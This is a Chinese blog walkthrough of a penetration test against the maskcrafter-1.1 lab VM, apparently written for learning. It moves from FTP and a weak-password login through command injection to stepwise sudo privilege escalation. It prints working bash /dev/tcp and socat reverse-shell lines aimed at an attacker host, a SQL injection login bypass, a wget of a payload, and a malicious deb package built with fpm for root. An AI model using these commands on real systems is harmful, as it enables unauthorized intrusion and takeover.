网络安全从0到0.5之maskcrafter靶机渗透测试

admin 2022年1月28日02:37:34网络安全从0到0.5之maskcrafter靶机渗透测试已关闭评论72 views字数 3914阅读13分2秒阅读模式

靶机实战渗透测试-maskcrafter-1.1

信息收集

首先使用arp-scan进行主机发现,找到本次渗透的目标

网络安全从0到0.5之maskcrafter靶机渗透测试

*找到目标靶机并使用nmap命令对其进行基本的信息收集
nmap -sV -p- 172.16.10.115

网络安全从0到0.5之maskcrafter靶机渗透测试

*发现靶机开启了*21,22,80,111,2049,33561,38681,50017,57297等多个端口*
首先访问其80端口http://172.16.10.115/

网络安全从0到0.5之maskcrafter靶机渗透测试

发现页面是一个登录框,查看网页源代码也没有发现什么有用的内容,于是掏出dirb进行扫描*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

*发现有*debug,
JavaScript,phpmyadmin,robots.txt等多个目录,首先访问robots.txt

网络安全从0到0.5之maskcrafter靶机渗透测试

*发现页面指向*debug目录,于是我们访问
debug目录,发现需要输入用户名和验证码进行验证**

网络安全从0到0.5之maskcrafter靶机渗透测试

发现同样需要用户名和密码进行认证,然后phpmyadmin目录也需要用户名和密码的认证

我们重新回到开启的服务这一块,发现目标还开启着ftp的服务,我们尝试使用匿名用户进行访问,查看能否访问,并存在关键信息

网络安全从0到0.5之maskcrafter靶机渗透测试

*我们发现匿名用户可以直接进入靶机的*ftp服务,并且有一个名为pub的目录,进入目录*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

*将目录下的两个文件下载到本地*

网络安全从0到0.5之maskcrafter靶机渗透测试

尝试解压cred.zip,发现解压cred.zip文件需要密码,我们未曾获得过zip的密码,所以暂时放弃这个压缩包,继而查看另一个txt文件

网络安全从0到0.5之maskcrafter靶机渗透测试

*发现是Root留个Web段的administrator的也就是Web端的管理员的一段留言

网络安全从0到0.5之maskcrafter靶机渗透测试

*我们可以从上述文本中得到两个信息,首先*debug目录下需要登陆的用户的admin并且这个用户的密码并不是一个强口令,而是弱口令.我们就可以尝试用弱口令登陆debug*
而第二条消息则是,这个网站有一个地方存在SQL注入,因为上述文本已经提到了debug,要么是登入的debug里面的一处,要么就是网站的主页,也就是第一个登入框*
首先我们先从debug下手*
输入弱口令组合admin:admin直接一发入魂,成功的进入到debug页面中,果然弱口令YYDS!*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

*发现这是一处命令执行的页面,大概率存在远程命令执行的漏洞,我们开启*burp suite进行测试*
虽然只有三个命令可以选择,我们随便选择一个进行查看,然后抓包进行修改*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

*数据包为*POST数据包,而执行的命令就在command参数后面,我们直接修改ifconfig修改为ls查看网页回显
*

网络安全从0到0.5之maskcrafter靶机渗透测试

确定漏洞存在,漏洞利用开始

通过RCE获取shell

再次选中ifconfig选项执行,在burp suite中抓包并且修改,此时我们的kali开启监听端口7777来接受靶机反弹出来的shell

网络安全从0到0.5之maskcrafter靶机渗透测试

网络安全从0到0.5之maskcrafter靶机渗透测试

将数据包修改为如下,然后放包,查看是否获得到靶机的shell
/bin/bash -i >& /dev/tcp/172.16.10.152/7777 0>&1
*很遗憾,页面没有报错,靶机也没有收到*shell,那么再次进行尝试,这次将Payload进行URL编码,再次进行传输*
*通过burp suite自带的功能进行编码,然后修改参数,进行转发**

网络安全从0到0.5之maskcrafter靶机渗透测试

%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%2e%31%30%2e%31%35%32%2f%37%37%37%37%20%30%3e%26%31

网络安全从0到0.5之maskcrafter靶机渗透测试

但是仍然没有得到shell,于是我换了个语句bash -c "bash -i >& /dev/tcp/172.16.10.152/7777 0>&1",转URL编码%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%2e%31%30%2e%31%35%32%2f%37%37%37%37%20%30%3e%26%31%22
*成功的弹到了*shell
*此时我们已经成功的进入了靶机*

网络安全从0到0.5之maskcrafter靶机渗透测试

提权

首先用Python重新调用一个shell.python -c "import pty;pty.spawn('/bin/bash')"

网络安全从0到0.5之maskcrafter靶机渗透测试

*然后在靶机内进行信息收集

网络安全从0到0.5之maskcrafter靶机渗透测试

*来到*html目录下,发现我们还有两个地方没有登入进入,首先是phpmyadmin和首页,我们回到首页尝试用sql注入绕过登入*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

*登入成功的数据包,这边用的是万能密码直接绕过

网络安全从0到0.5之maskcrafter靶机渗透测试

成功进入发现也没有什么有用的信息

网络安全从0到0.5之maskcrafter靶机渗透测试

提权至userx用户

发现一个db.php疑似为数据库连接文件,查看其内容**

网络安全从0到0.5之maskcrafter靶机渗透测试

得知用户名为web密码为P@ssw0rdweb
*我们直接从登入*phpmyadmin中****

网络安全从0到0.5之maskcrafter靶机渗透测试

从网站的数据库myadatabase中得到数据包解压的密码**

网络安全从0到0.5之maskcrafter靶机渗透测试

得到userx的密码,回到靶机中,查看系统中存在哪些用户**

网络安全从0到0.5之maskcrafter靶机渗透测试

啊这,三个,好家伙,这我熟啊,一个一个来慢慢提权呗
*首先切换到第一个用户*userx

网络安全从0到0.5之maskcrafter靶机渗透测试

成功的切换到userx,然后再次进行信息收集去下一个用户

网络安全从0到0.5之maskcrafter靶机渗透测试

提权到evdaez用户

此时我们发现evdaez用户的根目录我们是有权限进行访问的,访问其目录

网络安全从0到0.5之maskcrafter靶机渗透测试

*而其目录下并没有什么有用的信息,然后我一个不小心*CTRL + C把shell关掉了,于是就只能用ssh进行连接了*
重新连接上去之后,我们得先知道userx有什么权限,使用命令sudo -l***

网络安全从0到0.5之maskcrafter靶机渗透测试

发现可以用evdaez的权限来执行/scripts/whatsmyid.sh这个sh脚本
*首先查看这个脚本执行了什么命令,有什么用*

网络安全从0到0.5之maskcrafter靶机渗透测试

可以看到这个脚本仅仅只是执行了一个id的命令,但是这个文件的所有者是我们,也就是当前用户userx

网络安全从0到0.5之maskcrafter靶机渗透测试

*我们就直接修改文件内容来获取*evdaezshell*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

*然后进行下一步的提权,提权到最后一个用户,然后再提权到*root
*首先既然成功的切换到了*evdaez的用户,那么我们就得先知道evdaez用户可以做什么,有什么权限*
*首先使用命令sudo -l查看用户的sudo权限*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

发现evdaez用户可以以researcherx的身份使用socat命令

提权researcherx

那么socat的命令是什么?有什么用呢?

网络安全从0到0.5之maskcrafter靶机渗透测试

百度之后可以看到,socat其实和netcat也就是nc差不多,甚至比nc还有强,那么我们的思路就是利用socat反弹一个researchrx用户的shell出来
*这一步是查阅了大佬的博客才知道怎么利用*socat工具*
*首先在
kali Linux上执行socat file:tty,raw,echo= tcp-listen9999

网络安全从0到0.5之maskcrafter靶机渗透测试
*然后在目标靶机中执行*sudo -u researcherx socat tcp-connect: 172.16.10.152:9999 exec:/bin/sh,pty,stderr,sigint,sane

网络安全从0到0.5之maskcrafter靶机渗透测试

*然后*kali Linux这边就可以接受到researchrex的shell了*
*但是接受过来的shellBackspace键都不可以用,最好还是利用python重新调用一个shell*
*python -c "import pty;pty.spawn('/bin/bash')"

*我们成功拿到*researchrexshell之后,再次查看sudo有什么权限*
*

网络安全从0到0.5之maskcrafter靶机渗透测试

好家伙,又是一个我不太熟悉的命令,果然我还是太菜了

提权ROOT

那么这个dpkg是做什么的?有什么用呢?

网络安全从0到0.5之maskcrafter靶机渗透测试

*于是我再次去查阅大佬的攻略,得知大致的思路
*首先做一个*bash脚本,脚本的作用就是执行获得一个shell,但是因为dpkg是用来软件的安装,那么会涉及到安装包,所以需要一个工具完成bash脚本转换到软件包的操作*
而可以完成这个操作的工具就是fpm工具*
*当然dpkg本来也有另一个提权的姿势,只不过这个靶机没有,就是类似于less,vim的那种*
*那么首先来安装
fpm这个工具

apt-get install rubygems
gem sources -a http://mirrors.aliyun.com/rubygems/#添加源
gem sources --remove https://rubygems.org/#删除源
gem install fpm

成功的安装好之后,我们先制作一个bash脚本
首先创建一个root.sh,在脚本中写入

网络安全从0到0.5之maskcrafter靶机渗透测试

TF=$(mktemp -d)
echo 'exec /bin/bash' > $TF/root.sh
fpm -n x -s dir -t deb -a all --before-install $TF/root.sh $TF

然后直接运行root.sh,然后就可以发现根目录下多了一个包

网络安全从0到0.5之maskcrafter靶机渗透测试

此时我们再利用Python将包传入到靶机中 python3 -m http.server(默认开启8000)

网络安全从0到0.5之maskcrafter靶机渗透测试

*再在靶机中使用*wget命令获取包
wget http://172.16.10.152:8000/x_1.0_all.deb

网络安全从0到0.5之maskcrafter靶机渗透测试

*然后就是最重要的一步提权至*root Payload:
sudo -u root -i x_1.0_all.deb

网络安全从0到0.5之maskcrafter靶机渗透测试

*虽然好像不加*-u root也可以成功
**

然后我们也是成功的进入到root的目录下,成功的获取到flag

网络安全从0到0.5之maskcrafter靶机渗透测试

那么这台靶机也就告一段落了!

End

这台靶机的思路大致是

通过FTP服务得到两个关键线索(用户名和sql注入)->通过RCE getshell->进入靶机利用sudo命令一个权限一个权限一步步来提权

靶机还是很有意思的,对我来说也是很有难度的一台靶机
这台靶机设置到了几个提权命令为socatdpkg还有fpm的使用

欢迎大佬们来交流群来交(骚)流(扰)我们

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月28日02:37:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络安全从0到0.5之maskcrafter靶机渗透测试https://cn-sec.com/archives/757914.html